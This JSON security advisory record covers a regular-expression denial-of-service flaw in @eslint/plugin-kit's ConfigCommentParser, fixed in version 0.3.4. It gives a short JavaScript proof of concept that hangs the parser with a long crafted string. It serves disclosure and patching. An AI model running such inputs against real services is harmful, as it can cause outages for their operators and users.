{"id":"GHSA-xffm-g5w8-qvg7","aliases":[],"url":"https://o3.security/vulnerability/GHSA-xffm-g5w8-qvg7","summary":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","details":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","published":"2025-07-18T20:39:12Z","modified":"2026-09-10T03:50:26.394042480Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@eslint/plugin-kit","fixedVersion":"0.3.4"}],"fix":{"url":"https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805","label":"eslint/rewrite@b283f64"},"references":[{"type":"WEB","url":"https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7"},{"type":"WEB","url":"https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805"},{"type":"PACKAGE","url":"https://github.com/eslint/rewrite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:50:26.394042480Z"}}